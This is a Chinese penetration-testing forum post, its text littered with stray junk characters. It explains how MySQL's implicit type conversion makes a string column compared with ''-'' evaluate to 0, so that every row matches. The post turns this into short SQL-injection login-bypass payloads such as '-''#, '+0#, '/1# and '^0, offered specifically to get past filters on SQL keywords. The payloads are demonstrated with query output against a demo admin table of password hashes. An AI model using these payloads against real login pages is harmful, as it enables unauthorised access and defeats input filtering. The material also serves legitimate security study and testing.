我们先来看这样一个场景。 有以下表结构: . ] G7 k7 x5 f+ ^, Z) N mysql> desc admin; +----------+--------------+------+-----+---------+----------------+6 S7 |- N M, Z2 Z# k& X8 ?# {' y% K/ x | Field | Type | Null | Key | Default | Extra | +----------+--------------+------+-----+---------+----------------++ P) k! K, y! z- y ]- K# h% B | id | mediumint(9) | NO | PRI | NULL | auto_increment |' @! d" }4 \3 N8 ^' Q' X% f( [ | name | char(32) | NO | UNI | NULL | | | password | char(32) | NO | UNI | NULL | | +----------+--------------+------+-----+---------+----------------+ 3 rows in set (0.00 sec)- r" D: D4 R/ X) | { 执行select * from admin;,成功返回所有记录内容。* c9 B6 D; i' ~0 {) z ' J% l! A( Q4 m v +----+--------+----------------------------------+ | id | name | password |- T/ T2 W$ g5 M' X +----+--------+----------------------------------+ | 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |! K2 p, h1 U% k' M4 a+ }/ e | 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 | | 4 | n00b | ff80e8508d39047460921792273533a4 | +----+--------+----------------------------------+ 3 rows in set (0.00 sec) 执行select * from admin where name=”;,没有匹配到任何记录。 mysql> select * from admin where name = '';/ h b( \4 R: c+ e: M1 D Empty set (0.00 sec)1 N; S4 x- v6 t' L3 C1 }# }) F3 ~2 ^ 那么我们来执行select * from admin where name = ”-”; 7 u* ]9 h1 U" t" k / A7 O; C( a" V9 Q5 }% d' U +----+--------+----------------------------------+ | id | name | password | +----+--------+----------------------------------+ | 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 | | 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |& G1 a9 B! }* b j. B. T | 4 | n00b | ff80e8508d39047460921792273533a4 | +----+--------+----------------------------------+8 s! r f1 p+ @0 R5 K 3 rows in set, 3 warnings (0.00 sec) 可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: - y. A5 x0 n" l# J+ R1 f+ S/ `$ h% n mysql> show warnings; +---------+------+------------------------------------------& V2 ~: n' b( C/ S | Level | Code | Message +---------+------+------------------------------------------ | Warning | 1292 | Truncated incorrect DOUBLE value: 'admin | Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s | Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b" p. U Q1 C2 L9 u3 _ Z +---------+------+------------------------------------------0 t5 z( d$ S9 V* a; ^5 d! H 3 rows in set (0.00 sec)% ~8 @7 m! j2 ~+ f" X" i 提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 _; D1 A" J% ^/ r% ^% \ mysql> select ''-'';8 R J/ i% k0 Z( N, A +-------+ | ''-'' |- s$ {/ p8 X ?8 r3 S+ A: G +-------+ | 0 |9 `# |5 u. j% ^% M( U% S6 b +-------+" y/ l, `9 {% c; H9 ~" [8 z" R 1 row in set (0.00 sec) 返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: - n2 g; _* ]4 U5 t2 @/ x- u" m# A0 c6 v 5 f S0 P( i% q. F, q1 L mysql> select CAST((select name from admin limit 1,1) as DECIMAL); +-----------------------------------------------------+ | CAST((select name from admin limit 1,1) as DECIMAL) | +-----------------------------------------------------+% Q. X( l3 B0 W | 0 |# E# {$ O, P9 s! v1 ]' p7 n6 u! _ +-----------------------------------------------------+ 1 row in set, 1 warning (0.00 sec) 因此where语句构成了相等的条件,where 0=”=”,记录被返回。 $ Q" _- L% n9 {& \& h$ m {! O( c0 f SQL注入场景: http://www.sqlzoo.net/hack/ " l* Y* V7 ]1 f" V, M$ ?8 Y- Y 1 _6 ?0 ^/ E" v3 W- J) g 4 |2 E& W; S( Y0 `+ Q 如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 # f1 K9 c8 R2 |) ]3 x 仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 $ y5 q/ c, I) u# E0 _ ( s7 Y5 y: d9 J+ v$ L, Z 除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可 8 u9 J+ a8 ?. n" C5 K6 P / R |: v( m4 l; A mysql> select ''/1; +------+ | ''/1 | +------+ | 0 | +------+0 o' q8 o0 Z" w2 O% {5 v 1 row in set (0.00 sec)6 i( E6 i( u! A4 k* T! y 类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 & a+ L+ R% X7 B+ P; w. Q/ Y 利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。. Q+ ^8 S" c# f/ t# m- x0 [, p |
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) | Powered by Discuz! X3.2 |